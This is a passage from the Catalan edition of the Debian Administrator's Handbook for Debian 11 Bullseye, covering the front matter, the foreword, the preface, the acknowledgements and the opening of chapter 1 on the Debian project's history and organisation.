Manual de l'Administrador Debian

Debian Bullseye, de la iniciació al mestratge

Hertzog, Raphaël

<hertzog@debian.org>

Mas, Roland

<lolando@debian.org>

Dret de reproducció © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Raphaël Hertzog

Dret de reproducció © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

Dret de reproducció © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Freexian SARL

ISBN: 979-10-91414-21-0 (Edició anglesa en paper)

ISBN: 979-10-91414-22-7 (Edició anglesa en format electrònic)

Aquest llibre està disponible sota els termes de dues llicències compatibles amb les Directrius de Programari Lliure de Debian.

Avís de llicència de Creative Commons:  Aquest llibre està llicenciat sota una llicència Creative Commons Attribution-ShareAlike 3.0 Unported License.

→ https://creativecommons.org/licenses/by-sa/3.0/

Avís de Llicència Pública General de GNU:  Aquest llibre és documentació lliure: podeu redistribuir-lo i/o modificar-lo sota els termes de la Llicència Pública General de GNU tal com ha estat publicada per la Free Software Foundation, ja sigui la versió 2 de la Llicència, o (al vostre criteri) qualsevol versió posterior.

Aquest llibre es distribueix amb l'esperança que sigui útil, PERÒ SENSE CAP GARANTIA; ni tan sols la garantia implícita de COMERCIABILITAT o ADEQUACIÓ A UN PROPÒSIT PARTICULAR. Vegeu la Llicència Pública General de GNU per a més detalls.

Hauríeu d'haver rebut una còpia de la Llicència Pública General de GNU juntament amb aquest programa. Si no, consulteu https://www.gnu.org/licenses/.

Mostreu agraïment

Aquest llibre es publica amb llicència gratuïta perquè volem que tothom se'n beneficiï. Dit això, mantenir-lo requereix temps i molt d'esforç, i apreciem que se'ns doni les gràcies per això. Si trobeu que aquest llibre és valuós, considereu contribuir al seu manteniment, ja sigui comprant una còpia en paper o fent una donació a través del lloc web oficial del llibre:

→ https://debian-handbook.info

Resum

Un llibre de referència que presenta la distribució Debian, des de la instal·lació inicial fins a la configuració de serveis.

Pròleg

Em complau tenir l'oportunitat de donar-te la benvinguda a Debian i al Manual de l'Administrador de Debian. Molta gent ha triat Debian: al voltant del 10% dels servidors web d'Internet funcionen amb Debian. Quan s'inclouen els sistemes operatius basats en Debian, el nombre s'apropa al 20%. Debian va ser escollit com el sistema operatiu per a l'Estació Espacial Internacional. Sigui en una investigació científica capdavantera o sigui en un projecte per a conrear aliments fent front a la contaminació, Debian s'usa per a fer rutllar els ordinadors que ho fan possible.

Per què Debian es atractiu per a grans corporacions, investigadors, activistes i aficionats? Crec que la resposta està en la flexibilitat de Debian i en la seva comunitat.

Debian és flexible. Sí, proporciona un excel·lent sistema operatiu de propòsit general a punt per a ser usat. També proporciona les eines per a personalitzar Debian per a qualsevol entorn en què us trobeu treballant. Sigui al núvol o en arquitectura de contenidor, en un gran conjunt d'estacions de treball, en ordinadors individuals, o en un dispositiu, Debian proporciona la flexibilitat per treballar bé en aquests entorns. Hi trobareu les eines i exemples que calen per cobrir les vostres necessitats.

La comunitat Debian és lloc de trobada per a individus i interessos diversos: programadors de les més grans empreses treballen al costat de voluntaris, investigadors i usuaris. Ja siguin experts en seguretat, desenvolupadors web, programadors o arquitectes de sistemes, tots hi som representats. Tu pots formar part d'aquesta comunitat. Allà on trobis una manera de fer Debian millor, la teva contribució serà benvinguda.

Ens ajuntem per a produir un sistema operatiu de primera categoria. Cap empresa controla Debian; l'agenda de ningú determina la nostra feina. Ans al contrari, cadascú de nosaltres té la capacitat de millorar Debian en la forma que ens interessa. Gràcies per fer una ullada a allò que hem creat. Espero que t'agradi.

Aquest llibre és una excel·lent manera d'explorar Debian. L'he estat recomanant durant anys a amics que volien aprendre més sobre Debian, i estic content de tenir l'oportunitat de recomanar-lo de manera més àmplia. Aquest manual està escrit i mantingut per membres veterans de la comunitat Debian. Alguns dels que estan treballant per desenvolupar el sistema operatiu s'han reunit per ajudar-te a entendre'l. I, per suposat, aquest llibre és desenvolupat usant un procés comunitari similar al propi de Debian amb el mateix èmfasi en la llibertat.

Agost de 2019

Sam Hartman (Líder del Projecte Debian)

Prefaci

Des de fa ja uns anys, el Linux ha anat adquirint cada cop més força, i la seva encara creixent popularitat duu a cada cop més usuaris a fer el salt. La primera passa en aquest camí és el triar una distribució. Aquesta és una decisió important perquè cadascuna té les seves peculiaritats i una tria correcta des del principi pot evitar futurs costos de migració.

RETORN A LES BASES distribució Linux, nucli Linux

Estrictament parlant, el Linux només és un nucli, la peça central del programari que es troba entre el hardware i les aplicacions.

Una “distribució Linux” és un sistema operatiu complet; normalment inclou el nucli Linux, un programa instal·lador i, sobretot, aplicacions i altre programari necessari per a convertir un ordinador en una eina realment útil.

Debian GNU/Linux és una distribució de Linux «genèrica» que s'ajusta a la majoria d'usuaris. El propòsit d'aquest llibre és mostrar les seves nombroses vessants de manera que puguis prendre una decisió fonamentada a l'hora de triar.

1. Per què aquest llibre?

CULTURA Distribucions comercials

La majoria de distribucions Linux tenen el suport d'una empresa amb ànim de lucre que la desenvolupa i la ven amb algun tipus d'esquema comercial. Exemples en són Ubuntu, desenvolupada bàsicament per Canonical Ltd.; Red Hat Enterprise Linux, per Red Hat, Inc., que pertany a IBM; i SUSE Linux , mantinguda i comercialitzada per SUSE Software Solutions Germany GmbH, que pertany a EQT Partners.

A l'altre extrem hi ha entitats com Debian i l'Apache Software Foundation (que alberga el desenvolupament del servidor web Apache). Debian és sobretot un projecte del món del Software Lliure i que està dut a terme per voluntaris que treballen junts a través d'Internet. Tot i que alguns d'ells treballen a Debian com a part de la feina pagada que fan en diferents empreses, el projecte com a tal no està vinculat a cap empresa en particular, així com tampoc cap empresa té més influència en les qüestions del projecte que la que pugui tenir qualsevol dels voluntaris.

El Linux ha gaudit d'una gran cobertura mediàtica en el temps i està creixent immensament, gràcies per exemple a la popularització dels servidors virtuals, els sistemes empotrats i l'ús de la intel·ligència artificial; això beneficia sobretot a les distribucions que tenen el suport d'un departament de marketing real — en altres paraules: les distribucions fomentades per empreses (Ubuntu, Red Hat, SUSE, etc.). No obstant això, Debian és lluny de ser una distribució marginal; molts estudis han mostrat durant anys que és usada àmpliament tant en servidors com en ordinadors d'escriptori. Això és particularment cert amb els servidors web, on Debian i Ubuntu són les distribucions capdavanteres.

→ https://w3techs.com/technologies/details/os-linux/all/all

El propòsit d'aquest llibre és ajudar-te a descobrir aquesta distribució. Esperem compartir l'experiència que hem acumulat des de que ens vam unir al projecte com a desenvolupadors i contribuïdors el 1998 (Raphaël) i 2000 (Roland). Amb sort, el nostre entusiasme serà contagiós i potser tu també t'uneixis a nosaltres algun dia…

La primera edició d'aquest llibre (el 2004) va servir per omplir un buit: fou el primer llibre en francès que es va centrar exclusivament en Debian. En aquell moment es van escriure molts altres llibres sobre Debian, tant per a lectors francesos com anglesos. Malauradament pràcticament cap va ser actualitzat i amb els anys es va tornar a una situació on hi havia pocs bons llibres sobre Debian. Esperem que aquest llibre, que ha recobrat una nova vida amb la traducció a l'anglès (i d'aquest a moltes traduccions a altres llegües) ompli aquest buit i ajudi a molts usuaris.

2. Per a qui és aquest llibre?

Hem intentat fer un llibre útil per a molts tipus de lectors. Primer, els administradors de sistemes (siguin principiants com experimentats) trobaran explicacions sobre la instal·lació i el desplegament en múltiples ordinadors. També es faran una idea de la majoria dels serveis disponibles a Debian, juntament amb les corresponents instruccions de configuració i una descripció de les particularitats de la distribució. Entendre els mecanismes involucrats en el desenvolupament de Debian els permetrà afrontar problemes imprevistos, sabent que sempre podran trobar ajuda en la comunitat.

Usuaris d'altres distribucions Linux, o d'altres variants d'Unix, descobriran les especificitats de Debian, i s'hi adaptaran ràpidament al temps que es beneficien plenament dels avantatges únics de la distribució.

Finalment, aquells lectors que ja tenen coneixements sobre Debian i vulguin aprofundir més sobre la comunitat que hi ha al darrere haurien de veure'n les expectatives complertes. Aquest llibre els hauria d'apropar a unir-se a nosaltres com a contribuïdors.

3. Enfocament general

Tota la documentació genèrica que puguis trobar sobre GNU/Linux també s'aplica a Debian, ja que aquesta inclou la majoria del programari lliure usual. No obstant, la distribució incorpora moltes millores, i és per això que hem decidit de descriure primer la manera de fer les coses a l'«estil Debian».

És important seguir les recomanacions de Debian, però encara ho és més entendre'n les raons. Per tant, no ens limitarem només a explicacions pràctiques; també descriurem el funcionament del projecte de manera que puguis tenir-ne un coneixement exhaustiu i consistent.

4. Estructura del llibre

Aquest llibre està fet a partir d'un cas d'estudi que dóna tant suport com exemples de tots els temes que es tracten.

NOTA Lloc web, email de l'autor

Aquest llibre té el seu propi lloc que alberga tots els elements que poden fer-lo més útil. En particular, inclou una versió online del llibre amb enllaços i una possible fe de errades. Ets lliure de navegar-lo i deixar-nos el que en pensis. Ens alegrarà llegir els teus comentaris o missatges de suport. Envia un email a <hertzog@debian.org> (Raphaël) i <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

El capítol 1 es centra en una presentació no tècnica del projecte Debian i en descriu els objectius i l'organització. Aquests aspectes són importants perquè defineixen un marc general que serà completat en altres capítols amb informació més concreta.

Els capítols 2 i 3 presenten el caso d'estudi en línies generals. En aquest punt, els lectors principiants poden fer una ullada a l'apèndix B, on poden trobar un breu curs que explica un seguit de nocions bàsiques d'informàtica, així com també els conceptes inherents a qualsevol sistema Unix.

Per començar a entrar en matèria, naturalment començarem amb el procés d'instal·lació (capítol 4); els capítols 5 i 6 ens mostraran les eines bàsiques que qualsevol administrador Debian usarà, com ara les de la família APT que és, en gran mesura, responsable de l'excel·lent reputació que té la distribució. Aquests capítols no són exclusivament per a professionals, atès que cadascú fa, a cada seva, d'administrador.

El capítol 7 serà un important parèntesi; descriu els fluxos de treball per a eficientment usar la documentació i així comprendre ràpidament els problemes a fi de resoldre'ls.

Els següents capítols esdevindran un passeig més detallat del sistema, començant per la infraestructura bàsica i els serveis (des del capítol 8 fins al 10) i s'anirà avançant progressivament fins a les aplicacions d'usuari al capítol 13. El capítol 12 tracte temes més avançats que seran d'interès per a administradors de grans quantitats d'ordinadors (incloent servidors), mentre que el capítol 14 és una breu introducció a l'ampli tema de la seguretat en ordinadors i proporciona algunes claus per evitar la majoria de problemes.

El capítol 15 és per a administradors que vulguin aprofundir i crear els seus propis paquets Debian. Finalment, el capítol 16 descriu el possible futur de Debian.

VOCABULARI Paquet Debian

Un paquet Debian és un arxiu que conté tots els arxius necessaris per a instal·lar una peça de software. Normalment és un arxiu amb extensió .deb i pot ser manipulat amb el programa dpkg. També anomenat paquet binari, conté els arxius que poden ser usats directament (com ara programes i documentació). Per altra banda, un paquet font conté el codi font per a el software i també les instruccions necessàries per a construir el paquet binari.

La present versió és ja la desena edició del llibre (hi comptem les quatre primeres que eren únicament en francès). Aquesta edició tracta la versió 11 de Debian, anomenada Bullseye. Entre els canvis, Debian ara és compatible amb el mode Secure Boot de UEFI, aportant certa seguretat addicional contra atacs a la infraestructura de l'engegada, i facilitant la instal·lació de Debian en ordinadors nous on el Secure Boot està activat per defecte. També a nivell de la seguretat, AppArmor, un Sistema de Control d'Accés Obligatori que regula què poden fer les aplicacions, està activat per defecte. Òbviament, tots els paquets han estat actualitzats, incolent també l'escriptori GNOME, que ara està a la versió 3.38.

Hem afegit algunes notes i comentaris en requadres. Tenen vàries funcions: poden centrar l'atenció en un aspecte difícil, completar nocions del cas d'estudi, definir termes o servir com a recordatoris. A continució hi ha una llista de les anotacions més comunes:

RETORN A LES BASES: un recordatori sobre informació que se suposa que ja és coneguda;

VOCABULARI: defineix un terme tècnic, de vegades específic de Debian;

COMUNITAT: ressalta persones o rols importants dins del projecte;

NORMA: una regla o recomanació de la Normativa de Debian («Debian Policy»). Aquest document és essencial pel projecte i descriu com empaquetar programari. Les parts de la normativa ressaltades en aquest llibre proporcionaran beneficis directes als usuaris (per exemple, saber que la normativa estandaritza la ubicació de la documentació i els exemples facilita trobar-los en paquets nous);

EINA: presenta una eina o servei rellevant;

A LA PRÀCTICA: la teoria i la pràctica no sempre coincideixen; aquests requadres contenen consells que són el resultat de la nostra experiència. També poden proporcionar exemples detallats i concrets;

altres requadres més o menys freqüents són força explícits: CULTURA, SUGGERÈNCIA, PRECAUCIÓ, ANANT MÉS ENLLÀ, SEGURETAT, i d'altres.

5. Contribuir

Aquest llibre es desenvolupa igual que un projecte de programari lliure: les teves aportacions i ajuda són benvingudes. La manera més òbvia de contribuir és ajudar a traduir-lo al teu idioma nadiu. Però no és l'única possibilitat. Tu pots crear informes d'errors per notificar-nos errades, errors tipogràfics, informació desactualitzada o temes que realment hàgim de tractar. O pots fer-nos arribar peticions d'unió («merge request») amb la solució d'algun problema que hagis identificat.

Les instruccions per contribuir al llibre estan documentades al lloc web del llibre:

→ https://debian-handbook.info/contribute/

6. Reconeixements

6.1. Un xic d'història

El 2003, Nat Makarévitch va contactar amb el Raphaël perquè volia publicar un llibre sobre Debian en la col·lecció Cahier de l'Admin («Llibre de l'Administrador») que estava coordinant per a Eyrolles, un editor francès de llibres tècnics. El Raphaël va acceptar escriure'l immediatament. La primera edició va aparèixer el 14 d'octubre del 2004 y va ser un gran èxit — es va esgotar en quatre mesos.

Des de llavors, hem publicat set altres edicions del llibre en francès, una per a cada versió posterior de Debian (excepte per a Debian 9). Roland, qui inicialment treballava en el llibre com a corrector, de mica en mica va anar convertint-se en coautor.

Al mateix temps que estàvem satifets amb l'èxit del llibre, sempre vam esperar que Eyrolles pogués convèncer algun editor internacional per traduir-lo a l'anglès. Vam rebre nombrosos comentaris explicant com el llibre va ajudar a la gent a iniciar-se amb Debian, i estàvem interessats a què el llibre pogués ajudar encara a més gent.

Malauradament cap editor anglòfon amb qui vam contactar estava disposat a arriscar-se a traduir i publicar el llibre. El contratemps no ens va desanimar i vam negociar amb el nostre editor francès, Eyrolles, per recuperar els drets necessaris per poder traduir el llibre a l'anglès i publicar-lo pel nostre compte. Gràcies a una exitosa campanya de finançament col·lectiu, vam treballar en la traducció entre el desembre del 2011 i el maig del 2012. Així va néixer el «Debian Administrator's Handbook» i va ser publicat amb una llicència de programari lliure!

Si bé aquest fou un avenç important, ja sabíem que la història no s'acabaria allà fins que no contribuíssim el llibre en francès com una traducció oficial de la versió anglesa. Això no fou possible perquè en aquells moment Eyrolles encara distribuïa comercialment el llibre en francès sota una llicència no lliure.

El 2013, la publicació de Debian 7 ens va donar una bona oportunitat per a discutir un nou contracte amb Eyrolles. Els vam convèncer que una llicència més en la línia dels valors de Debian contribuiria a l'èxit del llibre. No fou una negociació senzilla, i vam acordar organitzar una altra campanya de finançament col·lectiva per cobrir part de les despeses i reduir els riscos involucrats. L'operació fou altre com un gran èxit i el juliol del 2013 vam afegir la traducció al francès del «Llibre de l'administrador de Debian».

Voldríem agrair a tots els qui van contribuir en aquestes campanyes de finançament col·lectiu, ja sigui mitjançant la promesa de donar diners o fent córrer la veu. No ho haguéssim pogut fer sense vosaltres.

Per estalviar paper, cinc anys després de les campanyes de finançament i després de dues edicions posteriors, vam treure la llista de persones que van triar de ser premiades amb la menció del seu nom al llibre. No obstant, els seus noms estan gravats als agraïments de l'edició de Wheezy del llibre:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. Agraïments especials als contribuïdors

Aquest llibre no seria el mateix sense la contribució de diverses persones que van jugar un paper important durant la fase de traducció i posteriorment. Ens agradaria donar les gràcies a Marilyne Brun, que ens va ajudar a traduir el capítol d'exemple i va treballar amb nosaltres per a definir una regles comunes per a la traducció. També va revisar diversos capítols on calia desesperadament una ajuda suplementària. Gràcies també a Anthony Baldwin (de Baldwin Linguas) que ens va traduir diversos capítols.

Atès que el Roland i jo estàvem enfeinats per actualitzar el llibre per a Debian 11, vam dedicar els modestos ingressos de donacions i vendes per a contractar contribuïdors per a fer el gruix de la feina. Moltes gràcies a Jorge Maldonado Ventura i a Daniel Leidert per la gran feinada que han fet en aquesta actualització.

Ens hem aprofitat de la generosa ajuda dels correctors: Daniel Phillips, Gerold Rupprecht, Gordon Dey, Owens Jacob i Tom Syroid. Tots ells van revisar molts capítols. Moltes gràcies!

Llavors, un cop la versió anglesa va ser alliberada, és clar, vam rebre moltíssims comentaris i suggeriments per part dels lectors, i encara més dels molts equips que van treballar en la traducció d'aquest llibre a d'altres idiomes. Gràcies!

Voldríem agrair també als lectors del llibre en francès, qui ens van proporcionar boniques cites per a confirmar que el llibre valia realment la pena de ser traduït: gràcies Christian Perrier, David Bercot, Étienne Liétart, i Gilles Roussi. Stefano Zacchiroli — qui fou Líder del Projecte Debian durant la campanya de finançament — també es mereix un gran agraïment, ja que va avalar el projecte amb una cita explicant que els llibres lliures (de llibertat) eren molt més que necessaris.

Si tu pots gaudir de llegir aquestes línies en una còpia impresa del llibre, hauries d'agrair amb nosaltres a Benoît Guillon, Jean-Côme Charpentier i Sébastien Mengin que van treballar en el disseny interior del llibre. Benoît és l'autor original de dblatex — l'eina que usem per a convertir DocBook a LaTeX (i després a PDF). Sébastien és el dissenyador que va crear la bonica disposició del llibre i Jean-Côme és l'expert en LaTeX que ho va implementar com una fulla d'estil usable amb dblatex. Gràcies nois per tota la feinada!

Finalment, gràcies a Thierry Stempfel per les boniques imatges que apareixen a la presentació de cada capítol, i gràcies a Doru Patrascu per la bonica coberta del llibre.

6.3. Gràcies als traductors

Sempre que s'ha alliberat una nova versió del llibre, nombrosos voluntaris s'han encarregat de traduir-lo a nombrosos idiomes, com l'àrab, el portuguès del Brasil, l'alemany, l'italià, el castellà, el japonès, el bokmål noruec, etc. Trobareu la llista completa de traduccions al lloc web del llibre: https://debian-handbook.info/get/#other

Ens agradaria donar les gràcies als traductors i també als que han revisat les traduccions. El vostre treball és molt apreciat perquè fa arribar Debian a les mans de milions de persones que no saben anglès.

6.4. Reconeixements personals del Raphaël

En primer lloc, voldria donar les gràcies a Nat Makarévitch, qui em va donar la possibilitat d'escriure aquest llibre i em va orientar durant l'any que va costar escriure'l. Gràcies també al bon equip d'Eyrolles i a Muriel Shan Sei Fan en particular. Ella ha tingut molta paciència amb mi, i he après molt d'ella.

El període de temps de les campanyes d'Ulule va ser molt exigent per a mi, però voldria donar les gràcies a tots els qui em van ajudar perquè fossin un èxit, i en particular a l'equip d'Ulule que van reaccionar molt ràpidament a les meves moltes peticions. Gràcies també a tothom que va promocionar els projectes. No tinc una llista exhaustiva (i, si la tingués, probablement seria massa llarga), però voldria agrair als que van estar en contacte amb mi: Joey-Elijah Sneddon i Benjamin Humphrey d'OMG! Ubuntu, Florent Zara de LinuxFr.org, Manu de Korben.info, Frédéric Couchet d'April.org, Jake Edge de Linux Weekly News, Clement Lefebvre de Linux Mint, Ladislav Bodnar de Distrowatch, Steve Kemp de Debian-Administration.org, Christian Pfeiffer Jensen de Debian-News.net, Artem Nosulchik de LinuxScrew.com, Stephan Ramoin de Gandi.net, Matthew Bloch de Bytemark.co.uk, l'equip de Divergence FM, Rikki Kite de Linux New Media, Jono Bacon, l'equip de màrqueting d'Eyrolles, i molts més que he oblidat (i em sap greu).

M'agradaria fer arribar el meu agraïment personal a Roland Mas, el meu coautor. Hem estat col·laborant en aquest llibre des del principi, i ell ha estat sempre a l'alçada. I he de dir que acabar el Manual de l'Administrador de Debian ha suposat molta feina…

Finalment, però no menys important, gràcies a la meva dona, la Sophie. Ella ha estat un gran suport per a la meva feina en aquest llibre i en Debian en general. Hi ha hagut massa dies (i nits) en què la vaig deixar sola amb els nostres dos fills per a poder progressar una mica en el llibre. Estic molt agraït pel seu suport i sé que sóc molt afortunat de tenir-la.

6.5. Agraïments personals del Roland

Bé, el Raphaël ja ha avançat la majoria dels meus agraïments «externs». Tot i així vull emfasitzar el meu agraïment personal als bons companys d'Eyrolles amb qui la col·laboració ha estat sempre agradable i fluïda. Esperem que els resultats dels seus excel·lents consells no s'hagin perdut en la traducció.

Estic extremadament agraït al Raphaël per encarregar-se de la part administrativa de l'edició en anglès. D'organitzar la campanya de finançament fins als darrers detalls del disseny del llibre, crear la traducció d'una llibre és molt més que simplement traduir i revisar, i el Raphaël ho va fer tot (o ho va delegar i ho va supervisar) . Així que gràcies.

Gràcies també a tots els que han contribuït més o menys directament en el llibre, sigui amb clarificacions o explicacions o consells de traducció. Són masses per a citar-los, però molts d'ells es poden trobar en diversos canals IRC de #debian-*.

Hi ha, és clar, certa superposició entre el conjunt de persones anterior, però mereixen agraïments específics aquells qui realment fan Debian. No n'hi hauria per a fer un llibre sense ells, i jo encara estic sorprès pel que el projecte Debian produeix i posa a disposició de tothom.

Gràcies de manera personal per als meus amics i als meus clients, per la seva comprensió quan no era tant atent perquè estava treballant en el llibre, i també pel seu constant suport, ànims i inspiració. Vosaltres sabeu qui sou; gràcies.

I finalment, estic segur que se sorprendran de veure's aquí mencionats, però voldria fer arribar la meva gratitud a Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson i, per suposat, al traspassat Douglas Adams. Les incomptables hores que vaig passar gaudint dels seus llibres són directament responsables de que jo sigui capaç de prendre part en la traducció primer d'un i després d'escriure noves parts.

Capítol 1. El Projecte Debian

Abans de submergir-nos directament en la tecnologia, farem una ullada a què és el Projecte Debian, els seus objectius, els seus mitjans i el seu funcionament.

1.1. Què és Debian?

CULTURA L'origen del nom Debian

No busquis més: Debian no és un acrònim. El nom prové en realitat de la contracció de dos noms: els de Ian Murdock i el de la seva nòvia en aquell moment, Debra. Debra + Ian = Debian.

Debian és una distribució GNU/Linux. Més endavant veurem amb més detall que és una distribució Secció 1.5, «El rol de les distribucions» però, de moment, simplement direm que és un sistema operatiu complet, incloent el programari i els sistemes per a la seva instal·lació i gestió, tot basat en el nucli Linux i en programari lliure (especialment el del projecte GNU).

Quan va crear Debian, el 1993, sota la direcció de la «Free Software Foundation» (FSF), Ian Murdock tenia uns clars objectius que va expressar al Manifest Debian («Debian Manifesto»). El sistema operatiu lliure que buscava havia de tenir dues característiques principals. La primera, la qualitat: Debian havia de ser amb la major cura, per a ser digna del nucli Linux. Seria també una distribució no comercial, però suficientment creïble per a competir amb les principals distribucions comercials. Aquesta doble ambició, al seu veure, només es podria aconseguir obrint el procés de desenvolupament igual que el de Linux i del projecte GNU. Per tant, la revisió per parells milloraria contínuament el producte.

CULTURA GNU, el projecte de la FSF

El projecte GNU és un conjunt de programari lliure desenvolupat, o patrocinat, per la «Free Software Foundation» FSF, fundada pel seu emblemàtic líder, el Dr. Richard M. Stallman. GNU és un acrònim recursiu que significa «GNU no és Unix».

CULTURA Richard Stallman

El fundador de la FSF i autor de la «GNU General Public License» (GPL), Richard M. Stallman (sovint referit per les seves inicials, RMS) és un líder carismàtic del moviment del Programari Lliure. Degut a les seves posicions intransigents, no és admirat de manera unànime, però les seves contribucions no tècniques al Programari Lliure (en particular en allò legal i filosòfic) són respectades per tothom.

1.1.1. Un sistema operatiu multiplataforma

COMUNIDAD El viatge d'Ian Murdock

Ian Murdock, fundador del Projecte Debian, va ser-ne el primer líder des del 1993 al 1996. Després de passar el testimoni a Bruce Perens, Ian va prendre un rol menys públic. Va tornar a treballar fora dels escenaris de la comunitat del programari lliure creant l'empresa Progeny amb la intenció de promocionar una distribució derivada de Debian. L'aventura fou, tristament, un desastre comercial i el desenvolupament va ser abandonat. La companyia, després de diversos anys d'anar-se desballestant, i simplement com a proveïdora de serveis, va fer fallida l'abril del 2007. Dels diferents projectes iniciats per Progeny, només discover encara es manté. És una eina de detecció automàtica de hardware.

Ian Murdock va morir el 28 de desembre del 2015 a San Francisco després d'un seguit de tuits preocupants on informava que havia estat agredit per la policia. El juliol del 2016 es va anunciar que la seva mort havia estat declarada com a suïcidi.

Debian, mantenint-se fidel als principis inicials, ha tingut tant èxit que, avui, ha assolit una mida enorme. Actualment, hi ha suportades oficialment nou arquitectures hardware i diverses variacions de cada arquitectura conegudes com «flavors», i també altres nuclis com ara el FreeBSD encara que les versions basades en FreeBSD no són part tampoc del conjunt d'arquitectures suportades oficialment. A més, amb més de 31,000 paquets font, el programari disponible pot satisfer gairebé qualsevol necessitat que hom pugui tenir, ja sigui a casa o en una empresa.

L'extrema grandària de la distribució pot ser un inconvenient: és poc raonable usar 18 DVD-ROMs (contenint només els paquets qualificats com a "programari lliure") per a instal·lar una versió completa en un ordinador normal... És per això que cada cop més es considera Debian com a una “meta-distribució, a partir de la qual se'n poden derivar distribucions pensades per a un segment de públic: Debian Science per a ús científic, Debian Edu per a ús educatiu i pedagògic en un ambient acadèmic, Debian Med per a aplicacions mèdiques, Debian Jr. per a joves i nens, etc. Una llista més complerta dels subprojectes es pot trobar a Secció 1.3.3.1, «Subprojectes i «blends» Debian existents», que està dedicada a aquest propòsit.

Aquestes vistes parcials de Debian s'organitzen en un marc ben definit, garantint així la compatibilitat sense problemes entre les diferents subdistribucions. Totes elles segueixen la planificació general per a la publicació de noves versions. I ja que estan construïdes sobre la mateixa base, es poden fàcilment estendre, completar i personalitzar amb les aplicacions disponibles als repositoris de Debian.

Totes les eines de Debian funcionen amb això present: debian-cd permet, des de fa molt temps ja, crear conjunts de CD-ROMs contenint només un conjunt preseleccionat de paquets, debian-installer és també un instal·lador modular, fàcilment adaptable a necessitats específiques. APT instal·larà paquets de diferents orígens al temps que garanteix la consistència global del sistema.

EINA Creació d'una imatge CD-ROM/DVD/USB de Debian

debian-cd crea imatges ISO per a mitjans d'instal·lació (CD, DVD, Blu-Ray, USB, etc.) llestos per a ser usades i adaptades. Qualsevol assumpte relacionat amb aquest programa es tracta (en anglès) a la llista de correu <debian-cd@lists.debian.org>. L'equip està liderat per Steve McIntyre que és qui s'encarrega de la generació dels ISO oficials de Debian.

Així que debian-cd ha esdevingut una eina força complexa, el paquet simple-cdd conté una eina més simple per fàcilment crear mitjans d'instal·lació fets a mida.

TORNAR A LES BASES Per a cada ordinador, la seva arquitectura

El terme “arquitectura” indica un tipus d'ordinador (entre els més coneguts hi ha Mac o PC). Cada arquitectura es diferencia principalment pel tipus de processador, normalment incompatibles amb altres processadors. Aquestes diferències en el hardware impliquen diferents maneres de funcionar que fan que el programari sigui compilat específicament per a cada arquitectura.

La majoria del programari disponible a Debian està escrit en llenguatges de programació portables: el mateix codi font es pot compilar per a diferents arquitectures. Així, un binari executable, compilat per a una arquitectura específica, molt probablement no funcionarà en cap altra arquitectura.

Cal recordar que cada programa es crea escrivint-ne el codi font; aquest codi és un arxiu de text compost per instruccions escrites en un llenguatge de programació concret. Abans de poder usar el programa cal compilar el codi font, que vol dir transformar el codi en binari (sèries d'instruccions màquina executables pel processador). Cada llenguatge de programació usa un compilador específic per a realitzar aquesta operació (per exemple, el gcc per al llenguatge de programació C).

EINA L'instal·lador

debian-installer és el nom del programa d'instal·lació de Debian. Un disseny modular permet usar-lo en un ampli rang d'escenaris. La tasca de desenvolupament es coordina a la llista de correu <debian-boot@lists.debian.org> sota la direcció de Cyril Brulebois.

1.1.2. La qualitat del programari lliure

Debian segueix tots els principis del Programari Lliure, i les noves versions no són publicades fins que no estan llestes. Els desenvolupadors no treballen amb un calendari prefixat i no han d'apressar-se per respondre a terminis arbitraris. La gent sovint es queixen pel molt de temps que passa entre les versions estables de Debian, però aquesta precaució assegura que la llegendària fiabilitat de Debian es manté: llargs mesos de proves són així necessaris perquè la distribució en el seu conjunt rebi l'etiqueta d'"estable".

Debian no comprometrà la qualitat: tots els error crítics coneguts en paquets clau són resolts a cada nova versió, fins i tot si això requereix que la data prevista de publicació s'endarrereixi. Els paquets opcionals que tenen errors crítics pendents de resoldre, i que per tant no assoleixen els requeriments de qualitat, són simplement eliminats de la versió estable.

1.1.3. El Marc Legal: Una Organització Sense Ànim de Lucre

Legalment parlant, Debian és un projecte gestionar per una associació nord-americana de voluntaris sense ànim de lucre. El projecte compta amb aproximadament un miler de desenvolupadors Debian però agrupa un nombre molt mes gran de col·laboradors (traductors, informadors d'errors, artistes, desenvolupadors casuals, etc.).

Per dur a bon port la seva missió, Debian disposa d'una infraestructura molt gran, amb molts servidors connectats arreu d'Internet, oferts i hostatjats per molts patrocinadors.

COMUNITAT Al darrere de Debian, l'associació SPI i les seccions locals

Debian no té cap servidor al seu nom, ja que només és un projecte dins de l'associació Software in the Public Interest (SPI), que n'administra el hardware i els aspectes econòmics (donacions, compra d'equips, etc.). Si bé es va crear específicament per al projecte Debian, aquesta associació ara alberga altres projectes de programari lliure, per exemple la base de dades PostgreSQL, el projecte Freedesktop.org per a l'estandardització de diverses parts dels moderns entorns gràfics d'escriptori (com GNOME i KDE Plasma) i el conjunt ofimàtic LibreOffice.

→ https://www.spi-inc.org/

A més de l'SPI, diverses associacions locals col·laboren estretament amb Debian per tal de generar finançament per a Debian sense que calgui centralitzar-ho tot als EE.UU: es coneixen com a «Trusted Organizations» («organitzacions de confiança»). D'aquesta manera s'eviten els costos prohibitius de les transferències internacionals, i també encaixa en la natura descentralitzada del projecte.

No dubtis a unir-te a la teva associació local para recolzar el projecte!

→ https://wiki.debian.org/Teams/Treasurer/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. Els documents de la fundació

Uns pocs anys després del llançament oficial, Debian va formalitzar els principis que havia de seguir com a projecte de programari lliure. Aquesta decisió deliberadament activista permet un creixement ordenat i pacífic assegurant que tots els membres avancen en la mateixa direcció. Per esdevenir desenvolupador Debian, qualsevol candidat ha de confirmar i demostrar el seu suport i adhesió als principis establerts en els Documents de Fundació.

El procés de desenvolupament està permanentment en debat, però els Documents de Fundació tenen un suport ampli i consensuat, i per això rarament es modifiquen. La constitució de Debian també ofereix altres garanties per a la seva estabilitat: una majoria qualificada de tres quartes parts és requerida per aprovar qualsevol canvi.

1.2.1. El Compromís envers els Usuaris

